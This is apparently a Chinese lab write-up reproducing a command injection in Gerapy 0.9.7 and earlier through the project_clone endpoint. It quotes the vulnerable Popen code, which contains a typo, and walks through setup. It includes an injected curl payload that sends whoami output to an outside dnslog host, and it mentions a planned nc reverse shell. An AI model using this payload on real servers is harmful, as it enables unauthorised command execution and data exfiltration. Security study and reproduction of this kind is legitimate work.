简介
Gerapy是一款基于Scrapy、Scrapyd、Django和Vue.js的分布式爬虫管理框架。
漏洞描述
该漏洞源于程序没有正确清理通过project_clone端点传递给Popen的输入。攻击者可利用该漏洞执行任意命令。
影响版本
Gerapy <= 0.9.7
代码分析
此次漏洞产生于gerapy/server/core/views.py文件
关键代码
@api_view(['POST'])
@permission_classes([IsAuthenticated])
def project_clone(request):
"""
clone project from github
:param request: request object
:return: json
"""
if request.method == 'POST':
data = json.loads(request.body)
address = data.get('address')
if not address.startswith('http'):
return JsonResponse({'status': False})
address = address + '.git' if not address.endswith('.git') else address
cmd = 'git clone {address} {target}'.format(address=address, target=join(PROJECTS_FOLDER, Path(address).stem))
logger.debug('clone cmd %s', mcd)
p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
stdout, stderr = bytes2str(p.stdout.read()), bytes2str(p.stderr.read())
logger.debug('clone run result %s', stdout)
if stderr: logger.error(stderr)
return JsonResponse({'status': True}) if not stderr else JsonResponse({'status': False})
漏洞所在的网站位置:
发送正常的请求包:
从代码,网站漏洞地址,发送的数据包可以分析出,在项目管理的创建的功能中,有一个功能可以克隆github上面的项目,在代码中以address的json数据进行接收,并将地址address拼接到cmd中,最后以Popen执行cmd,在中间没有存在过滤,检验也只是检验地址必须以http开头,.git进行结尾,所以我们可以进行拼接自己的命令来达成执行任意命令的目的
环境搭建
本次实验环境在kali虚拟机里进行搭建
执行以下命令进行安装gerapy
pip install gerapy==0.9.7 -i http://pypi.douban.com/simple --trusted-host pypi.douban.com
pip install scrapyd -i http://pypi.douban.com/simple --trusted-host pypi.douban.com
可以通过gerapy
检测安装是否成功
先运行scrapyd
然后通过以下命令设置gerapy的相关参数
gerapy init ##初始化
cd gerapy ##进入工作目录
gerapy migrate ##自动创建数据库
gerapy createsuperuser ##设置管理员账号密码
gerapy runserver 0.0.0.0:8000 ##开启服务
设置完成后浏览器访问
漏洞复现
登入后台后,如图所示依次点击,项目管理>创建>克隆
然后随意填写通过burp进行抓包
然后在后面拼接上以下命令
;curl `whoami`.thh0lg.dnslog.cn
查看结果,命令结果成功被外带出来
进行反弹shell,因为此次环境为kali虚拟机,没有/dev/tcp这个特殊的设备进行调用socket,我就偷懒直接使用nc了,构造命令进行反弹,在其他实验环境中也可以使用不同的反弹shell方法